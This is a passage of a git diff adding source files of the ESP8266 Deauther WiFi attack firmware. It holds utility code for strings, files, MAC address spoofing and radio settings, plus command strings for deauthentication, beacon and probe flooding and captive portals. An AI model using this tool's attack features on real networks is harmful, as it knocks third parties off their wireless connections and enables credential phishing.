compliant or not + } + + if (ok) result += c; // everything is ok, add char and continue + else { // utf8 char is broken + for (int j = 1; j < len; j++) { // go through the next bytes + c = str.charAt(i + j); + + if (utf8(c) == 1) result += c; // when byte is ascii, add it :) + } + i += len - 1; // skip utf8 char because we already managed it + } + } + } + return result; +} + +String removeUtf8(String str) { + str = fixUtf8(str); // fix it in case a utf char is broken + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result += c; // when 1 byte char, add it :) + else i += len - 1; // skip other chars + } + + return result; +} + +int utf8Len(String str) { + int size = str.length(); + + int result = 0; + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result++; // when 1 byte char, add 1 :) + else { + result++; + + for (int j = 1; j < len; j++) { + c = str.charAt(i + j); + + if (!utf8Part(c) && (utf8(c) == 1)) { + Serial.println(c, HEX); + result++; // if following char is compliant or not + } + } + i += len - 1; + } + } + + return result; +} + +String replaceUtf8(String str, String r) { + str = fixUtf8(str); // fix it in case a utf char is broken + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result += c; // when 1 byte char, add it :) + else { + result += r; + i += len - 1; // skip other chars + } + } + + return result; +} + +// ===== LANGUAGE STRING FUNCTIONS ===== // + +// for reading Strings from the PROGMEM +String str(const char* ptr) { + char keyword[strlen_P(ptr)]; + + strcpy_P(keyword, ptr); + return String(keyword); +} + +// for converting keywords +String keyword(const char* keywordPtr) { + char keyword[strlen_P(keywordPtr)]; + + strcpy_P(keyword, keywordPtr); + + String str = ""; + uint8_t len = strlen(keyword); + uint8_t i = 0; + + while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) { + str += keyword[i]; + i++; + } + + return str; +} + +// equals function +bool eqls(const char* str, const char* keywordPtr) { + if (strlen(str) > 255) return false; // when string too long + + char keyword[strlen_P(keywordPtr) + 1]; + strcpy_P(keyword, keywordPtr); + + uint8_t lenStr = strlen(str); + uint8_t lenKeyword = strlen(keyword); + + if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/' + + // and ',') + + uint8_t a = 0; + uint8_t b = 0; + bool result = true; + + while (a < lenStr && b < lenKeyword) { + if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++; + + if (tolower(str[a]) != tolower(keyword[b])) result = false; + + if (((a == lenStr) && !result) || !result) { // fast forward to next comma + while (b < lenKeyword && keyword[b] != COMMA) b++; + result = true; + a = 0; + } else { + a++; + b++; + } + } + // comparison correct AND string checked until the end AND keyword checked until the end + return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE); +} + +bool eqls(String str, const char* keywordPtr) { + return eqls(str.c_str(), keywordPtr); +} + +// boolean to string +String b2s(bool input) { + return str(input ? STR_TRUE : STR_FALSE); +} + +// boolean to asterix * +String b2a(bool input) { + return input ? String(ASTERIX) : String(SPACE); +} + +// string to boolean +bool s2b(String input) { + return eqls(input, STR_TRUE); +} + +// ===== PRINT FUNCTIONS ===== // +void prnt(String s) { + Serial.print(s); +} + +void prnt(bool b) { + Serial.print(b2s(b)); +} + +void prnt(char c) { + Serial.print(c); +} + +void prnt(const char* ptr) { + Serial.print(FPSTR(ptr)); +} + +void prnt(int i) { + Serial.print((String)i); +} + +void prntln() { + Serial.println(); +} + +void prntln(String s) { + Serial.println(s); +} + +void prntln(bool b) { + Serial.println(b2s(b)); +} + +void prntln(char c) { + Serial.println(c); +} + +void prntln(const char* ptr) { + Serial.println(FPSTR(ptr)); +} + +void prntln(int i) { + Serial.println((String)i); +} + +/* ===== WiFi ===== */ +void setWifiChannel(uint8_t ch) { + if ((ch != wifi_channel) && (ch > 0) && (ch < 15)) { + wifi_channel = ch; + wifi_set_channel(wifi_channel); + } +} + +void setOutputPower(float dBm) { + if (dBm > 20.5) { + dBm = 20.5; + } else if (dBm < 0) { + dBm = 0; + } + + uint8_t val = (dBm * 4.0f); + system_phy_set_max_tpw(val); +} + +/* ===== MAC ADDRESSES ===== */ +bool macBroadcast(uint8_t* mac) { + for (uint8_t i = 0; i < 6; i++) + if (mac[i] != broadcast[i]) return false; + + return true; +} + +bool macValid(uint8_t* mac) { + for (uint8_t i = 0; i < 6; i++) + if (mac[i] != 0x00) return true; + + return false; +} + +bool macMulticast(uint8_t* mac) { + // see https://en.wikipedia.org/wiki/Multicast_address + if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) && + ((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) && + ((mac[4] == 0x00) || (mac[4] == 0x01))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) && + ((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) && + (mac[5] == 0x00)) return true; + + return false; +} + +/* ===== VENDOR LIST (oui.h) ===== */ +void getRandomMac(uint8_t* mac) { + int num = random(sizeof(data_vendors) / 11 - 1); + uint8_t i; + + for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i); + + for (i = 3; i < 6; i++) mac[i] = random(256); +} + +int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) { + uint8_t listBytes[3]; + int res; + int mid = (lowerEnd + upperEnd) / 2; + + while (lowerEnd <= upperEnd) { + listBytes[0] = pgm_read_byte_near(data_macs + mid * 5); + listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1); + listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2); + + res = memcmp(searchBytes, listBytes, 3); + + if (res == 0) { + return mid; + } else if (res < 0) { + upperEnd = mid - 1; + mid = (lowerEnd + upperEnd) / 2; + } else if (res > 0) { + lowerEnd = mid + 1; + mid = (lowerEnd + upperEnd) / 2; + } + } + + return -1; +} + +String searchVendor(uint8_t* mac) { + String vendorName = String(); + int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1); + int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8; + + if (pos >= 0) { + char tmp; + + for (int i = 0; i < 8; i++) { + tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i); + + if (tmp != ENDOFLINE) vendorName += tmp; + tmp += SPACE; + } + } + + return vendorName; +} + +/* ===== STRING ===== */ +String bytesToStr(uint8_t* b, uint32_t size) { + String str; + + for (uint32_t i = 0; i < size; i++) { + if (b[i] < 0x10) str += ZERO; + str += String(b[i], HEX); + + if (i < size - 1) str += DOUBLEPOINT; + } + return str; +} + +String macToStr(uint8_t* mac) { + return bytesToStr(mac, 6); +} + +bool strToMac(String macStr, uint8_t* mac) { + macStr.replace(String(DOUBLEPOINT), String()); // ":" -> "" + macStr.replace("0x", String()); // "0x" -> "" + macStr.replace(String(COMMA), String()); // "," -> "" + macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> "" + macStr.toUpperCase(); + + if (macStr.length() != 12) { + prntln(F_ERROR_MAC); + return false; + } + + for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16); + + return true; +} + +void strToColor(String str, uint8_t* buf) { + str.replace(":", ""); + str.replace("0x", ""); + str.replace(",", ""); + str.replace("#", ""); + str.toUpperCase(); + + if (str.length() != 6) { + prntln(F_COLOR_INVALID); + return; + } + + for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16); +} + +String center(String a, int len) { + int spaces = len - a.length(); + + for (int i = 0; i < spaces; i += 2) { + a = ' ' + a + ' '; + } + + a = a.substring(0, len); + + return a; +} + +String left(String a, int len) { + int spaces = len - a.length(); + + while (spaces > 0) { + a = a + ' '; + spaces--; + } + + a = a.substring(0, len); + + return a; +} + +String right(String a, int len) { + int spaces = len - a.length(); + + while (spaces > 0) { + a = ' ' + a; + spaces--; + } + + a = a.substring(0, len); + + return a; +} + +String leftRight(String a, String b, int len) { + int spaces = len - a.length() - b.length(); + + while (spaces > 0) { + a = a + ' '; + spaces--; + } + + a = a + b; + + a = a.substring(0, len); + + return a; +} + +/* ===== SPIFFS ===== */ +bool progmemToSpiffs(const char* adr, int len, String path) { + prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS)); + File f = SPIFFS.open(path, "w+"); + + if (!f) { + prntln(SETUP_ERROR); + return false; + } + + for (int i = 0; i < len; i++) { + f.write(pgm_read_byte_near(adr + i)); + } + f.close(); + + prntln(SETUP_OK); + + return true; +} + +bool readFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "r"); + + if (!f) return false; + + if (f.size() == 0) return false; + + while (f.available()) buf += (char)f.read(); + + f.close(); + + return true; +} + +void readFileToSerial(String path, bool showLineNum) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "r"); + + if (!f) { + prnt(F_ERROR_READING_FILE); + prntln(path); + return; + } + + uint32_t c = 0; + char tmp; + + if (showLineNum) { + prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6)); + } + + while (f.available()) { + tmp = f.read(); + prnt(tmp); + + if ((tmp == NEWLINE) && showLineNum) { + c++; + prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6)); + } + } + + f.close(); +} + +bool copyFile(String pathFrom, String pathTo) { + if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom; + + if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo; + + if (!SPIFFS.exists(pathFrom)) { + prnt(F_ERROR_FILE); + prntln(pathFrom); + return false; + } + + File f1 = SPIFFS.open(pathFrom, "r"); + File f2 = SPIFFS.open(pathTo, "w+"); + + if (!f1 || !f2) return false; + + while (f1.available()) { + f2.write(f1.read()); + } + + return true; +} + +bool renameFile(String pathFrom, String pathTo) { + if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom; + + if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo; + + if (!SPIFFS.exists(pathFrom)) { + prnt(F_ERROR_FILE); + prntln(pathFrom); + return false; + } + + SPIFFS.rename(pathFrom, pathTo); + return true; +} + +bool writeFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "w+"); + + if (!f) return false; + + uint32_t len = buf.length(); + + for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i)); + f.close(); + + return true; +} + +bool appendFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "a+"); + + if (!f) return false; + + uint32_t len = buf.length(); + + for (uint32_t i = 0; i < len; i++) f.write(buf[i]); + f.close(); + + return true; +} + +void checkFile(String path, String data) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + if (!SPIFFS.exists(path)) writeFile(path, data); +} + +bool removeLines(String path, int lineFrom, int lineTo) { + int c = 0; + char tmp; + + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + String tmpPath = str(F_TMP) + path + str(F_COPY); + + File f = SPIFFS.open(path, "r"); + File f2 = SPIFFS.open(tmpPath, "w"); + + if (!f || !f2) return false; + + while (f.available()) { + tmp = f.read(); + + if ((c < lineFrom) || (c > lineTo)) f2.write(tmp); + + if (tmp == NEWLINE) c++; + } + + f.close(); + f2.close(); + SPIFFS.remove(path); + SPIFFS.rename(tmpPath, path); + + return true; +} + +bool replaceLine(String path, int line, String& buf) { + int c = 0; + char tmp; + + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + String tmpPath = "/tmp" + path + "_copy"; + + File f = SPIFFS.open(path, "r"); + File f2 = SPIFFS.open(tmpPath, "w"); + + if (!f || !f2) return false; + + while (f.available()) { + tmp = f.read(); + + if (c != line) f2.write(tmp); + else { + f2.println(buf); + + while (f.read() != NEWLINE && f.available()) {} + c++; + } + + if (tmp == NEWLINE) c++; + } + + f.close(); + f2.close(); + SPIFFS.remove(path); + SPIFFS.rename(tmpPath, path); + + return true; +} + +JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create JSON Variant + JsonVariant root; + + // create buffer + String buf = ""; + + // read file into buffer + if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error + prnt(F_ERROR_OPEN); + prntln(path); + buf = "{}"; + } + + // parse file-buffer into a JSON Variant + root = jsonBuffer.parse(buf); + + // if parsing unsuccessful + if (!root.success()) { + prnt(F_ERROR_PARSING_JSON); + prntln(path); + prntln(buf); + } + + return root; +} + +bool removeFile(String path) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + return SPIFFS.remove(path); +} + +void saveJSONFile(String path, JsonObject& root) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create buffer + String buf; + + // convert JSON object into string and write it into buffer + root.printTo(buf); + + // if buffer too big + if (buf.length() > 2048) { + prntln(F_ERROR_TO_BIG); + prntln(path); + prntln(buf); + return; + } + + // write buffer into SPIFFS file + writeFile(path, buf); +} + +void saveJSONFile(String path, JsonArray& root) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create buffer + String buf; + + // convert JSON object into string and write it into buffer + root.printTo(buf); + + // if buffer too big + if (buf.length() > 2048) { + prntln(F_ERROR_TO_BIG); + prntln(path); + prntln(buf); + return; + } + + // write buffer into SPIFFS file + writeFile(path, buf); +} + +String formatBytes(size_t bytes) { + if (bytes < 1024) return String(bytes) + "B"; + else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB"; + else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB"; + else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB"; +} + +#endif // ifndef functions_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/language.h b/enp8266/esp8266_deauther-master/esp8266_deauther/language.h new file mode 100755 index 0000000..dcb1560 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/language.h @@ -0,0 +1,591 @@ +#ifndef language_h +#define language_h + +#include "Arduino.h" + +extern String str(const char* ptr); +extern String keyword(const char* keywordPtr); +extern bool eqls(const char* str, const char* keywordPtr); +extern bool eqls(String str, const char* keywordPtr); +extern String b2s(bool input); +extern String b2a(bool input); +extern bool s2b(String input); +extern void prnt(String s); +extern void prnt(bool b); +extern void prnt(char c); +extern void prnt(const char* ptr); +extern void prnt(int i); +extern void prntln(); +extern void prntln(String s); +extern void prntln(bool b); +extern void prntln(char c); +extern void prntln(const char* ptr); +extern void prntln(int i); + +/* + The following variables are the strings used for the serial interface, display interface and settings. + The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time: + - every keyword has a unique string + - / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled' + - , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s' + - everything is in lowercase + */ + +// ===== GLOBAL STRINGS ===== // + +// Often used characters, therefor in the RAM +const char CURSOR = '|'; +const char SPACE = ' '; +const char DOUBLEPOINT = ':'; +const char EQUALS = '='; +const char HASHSIGN = '#'; +const char ASTERIX = '*'; +const char PERCENT = '%'; +const char DASH = '-'; +const char QUESTIONMARK = '?'; +const char ZERO = '0'; +const char S = 's'; +const char M = 'm'; +const char D = 'd'; +const char DOUBLEQUOTES = '\"'; +const char SLASH = '/'; +const char NEWLINE = '\n'; +const char CARRIAGERETURN = '\r'; +const char SEMICOLON = ';'; +const char BACKSLASH = '\\'; +const char POINT = '.'; +const char VERTICALBAR = '|'; +const char COMMA = ','; +const char ENDOFLINE = '\0'; +const char OPEN_BRACKET = '['; +const char CLOSE_BRACKET = ']'; +const char OPEN_CURLY_BRACKET = '{'; +const char CLOSE_CURLY_BRACKET = '}'; + +const char STR_TRUE[] PROGMEM = "true"; +const char STR_FALSE[] PROGMEM = "false"; +const char STR_MIN[] PROGMEM = "min"; + +// ===== SETUP ===== // +const char SETUP_OK[] PROGMEM = "OK"; +const char SETUP_ERROR[] PROGMEM = "ERROR"; +const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS..."; +const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS..."; +const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated"; +const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/"; +const char SETUP_COPYING[] PROGMEM = "Copying "; +const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS..."; + +// ===== SERIAL COMMAND LINE INTERFACE ===== // +const char CLI_SCAN[] PROGMEM = "scan"; // scan +const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot +const char CLI_STATUS[] PROGMEM = "status"; // status +const char CLI_SHOW[] PROGMEM = "show"; // show +const char CLI_REMOVE[] PROGMEM = "remove"; // remove +const char CLI_SET[] PROGMEM = "set"; // set +const char CLI_STOP[] PROGMEM = "stop"; // stop +const char CLI_LOAD[] PROGMEM = "load"; // load +const char CLI_SAVE[] PROGMEM = "save"; // save +const char CLI_ADD[] PROGMEM = "add"; // add +const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect +const char CLI_CLEAR[] PROGMEM = "clear"; // clear +const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo +const char CLI_RESET[] PROGMEM = "reset"; // reset +const char CLI_ON[] PROGMEM = "on"; // on +const char CLI_OFF[] PROGMEM = "off"; // off +const char CLI_RANDOM[] PROGMEM = "random"; // random +const char CLI_GET[] PROGMEM = "get"; // get +const char CLI_INFO[] PROGMEM = "info"; // info +const char CLI_HELP[] PROGMEM = "help"; // help +const char CLI_RICE[] PROGMEM = "rice"; // rice +const char CLI_FORMAT[] PROGMEM = "format"; // format +const char CLI_DELETE[] PROGMEM = "delete"; // delete +const char CLI_PRINT[] PROGMEM = "print"; // print +const char CLI_RUN[] PROGMEM = "run"; // run +const char CLI_WRITE[] PROGMEM = "write"; // write +const char CLI_LED[] PROGMEM = "led"; // led +const char CLI_SEND[] PROGMEM = "send"; // send +const char CLI_CUSTOM[] PROGMEM = "custom"; // custom +const char CLI_DELAY[] PROGMEM = "delay"; // delay +const char CLI_REPLACE[] PROGMEM = "replace"; // replace +const char CLI_DRAW[] PROGMEM = "draw"; // draw +const char CLI_SCRIPT[] PROGMEM = "script"; // script +const char CLI_STARTAP[] PROGMEM = "startap"; // startap +const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap +const char CLI_RENAME[] PROGMEM = "rename"; // rename +const char CLI_COPY[] PROGMEM = "copy"; // copy +const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled +const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled +const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2 +const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks +const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens +const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings +const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id +const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a +const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t +const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c +const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch +const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m +const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b +const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b +const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d +const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da +const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p +const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no +const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f +const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t +const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w +const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl +const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p +const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd +const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h +const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp +const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s +const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss +const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps +const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st +const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n +const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l +const char CLI_COMMENT[] PROGMEM = "//"; // // +const char CLI_SCREEN[] PROGMEM = "screen"; // screen +const char CLI_MODE[] PROGMEM = "mode,-m"; // mode +const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest +const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor +const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading +const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu + +const char CLI_HELP_HELP[] PROGMEM = "help"; +const char CLI_HELP_SCAN[] PROGMEM = "scan [] [-t "; + +const char CLI_INPUT_PREFIX[] PROGMEM = "# "; +const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled"; +const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled"; +const char CLI_ERROR[] PROGMEM = "ERROR: "; +const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \""; +const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue"; +const char CLI_CONTINUOUSLY[] PROGMEM = "continuously"; +const char CLI_EXECUTING[] PROGMEM = "Executing "; +const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode"; +const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script"; +const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]"; +const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================"; +const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0"; +const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0"; +const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!"; +const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n"; +const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x"; +const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x"; +const char CLI_CHICKEN_OUTPUT[] PROGMEM = " ` - : /////////:-. \r\n" +" ./++so:` `` `.:/++/. \r\n" +" `/+o+.+o:.s:-++//s` `:++- \r\n" +" `/+oo+//d- oh/ s- :o/` \r\n" +" .++.o+` `h- .d. h`://+` .o+ \r\n" +" .o+` +/ +o y- +d+. .y .s- \r\n" +" +o` h d` `/ .h- `h ++ \r\n" +" .s- d - .` +/ /o \r\n" +" :o` y. -y /+ \r\n" +" /+ :o ` -h` s: \r\n" +" /o y..://///////:` /o/o. `h \r\n" +" -s +o:`` `-++::/+- `o/ o: \r\n" +" y. :o `:::.` `oo` -s \r\n" +" -s h` .++:---/+/+/:::++. `h \r\n" +" +/ h :o` ` `/s ` .s- d \r\n" +" o: .s h` /h- o:/h- -s `h \r\n" +" +/ +/ h` `` s- ` +/ -s \r\n" +" .y `h` -s- `+y-.`.:+/ +: \r\n" +" o: o: `/+/:/+ss:.-:y/.` `h` \r\n" +" .:-` `y- ++ `so::-://+y. +/ \r\n" +" :o.-/+: :+//:` `s: `+/ -h//:::---:/o- -y \r\n" +" :o `:o:h. `-+/` -d+.:o- .y.``...-/y/++` `y. \r\n" +" +/ `:hs -o- o/:/yo:-` +y++s//+/. `s. \r\n" +" /o` `oo` `/+` .-:y/-`+:+so+/:-` s- y: -s. \r\n" +" ++//+y: -+ .o: ``-:/+:-.`.:+/:hs+`++:/o/:.` `h .y` /o` \r\n" +"`h` `./ys- :o- .--:////:-.` `-/o/::.`/sh-:os/:.` .y oo`+/ -o: \r\n" +" :o- `-o+. `/+o/:-..` `.:+++o/``/:-oo++/:.so+://` `:+/` \r\n" +" `/+:` .. `++` `.-/+/:-/sy.`+o:+y/-. .-/+-` \r\n" +" `-+/- .- `.:/o+:-:.```-:oy/:://:-` \r\n" +" .:+/. `.-:/+/::s/-..` \r\n" +" .++. `.-h. \r\n" +" .o/ +/ \r\n" +" :o. :o \r\n" +" .o: -s \r\n" +" /o` :+ \r\n" +" -o- o: \r\n" +" `o/ h` \r\n" +" :o. -s \r\n" +" .o: y. \r\n" +" /o. /+ \r\n" +" .+/` -s \r\n" +" -+/. .s` \r\n" +" ./+/.` -s` \r\n" +" .:/+:.` /o` \r\n" +" .:/o/.` .o: \r\n" +" o/:/+/.` .++` \r\n" +" -s `:/+:` `:+/` \r\n" +" ++` -+o-` `-++- \r\n" +" :s/::/+//::+/---/+/:` \r\n" +" +/s:` `-h-s- \r\n" +" +/s- `y y. \r\n" +" +/y. `y h` \r\n" +" //s:` `y d \r\n" +" +/-:/++/-` `y h-` \r\n" +" y:hs-ysosss..y --/+++/-` \r\n" +" ds:`s:o+`-:`o:oos./h++osoo` \r\n" +" :: o+++ h:y `o+.s:`.:: \r\n" +" -+- -/` :s.++ \r\n" +" `/+- "; +const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]"; +const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n"; +const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: "; +const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: "; +const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n"; +const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n"; +const char CLI_FILES[] PROGMEM = "Files: "; +const char CLI_BYTES[] PROGMEM = " bytes"; +const char CLI_SYSTEM_FOOTER[] PROGMEM = "==============================="; +const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS..."; +const char CLI_REMOVED[] PROGMEM = "Removed "; +const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing "; +const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines "; +const char CLI_COPIED_FILES[] PROGMEM = "Copied file"; +const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file"; +const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file"; +const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file"; +const char CLI_WRITTEN[] PROGMEM = "Written \""; +const char CLI_TO[] PROGMEM = "\" to "; +const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line "; +const char CLI_WITH[] PROGMEM = " with "; +const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in "; +const char CLI_INFO_HEADER[] PROGMEM = "===================================================================================="; +const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther "; +const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser"; +const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License."; +const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther"; +const char CLI_DEAUTHING[] PROGMEM = "Deauthing "; +const char CLI_ARROW[] PROGMEM = " -> "; +const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \""; +const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \""; +const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet"; +const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed"; +const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u"; +const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \""; +const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :("; +const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: "; +const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode"; +const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n"; +const char CLI_RESUMED[] PROGMEM = "Command Line resumed"; + +// ===== DISPLAY ===== // + +// DEBUG 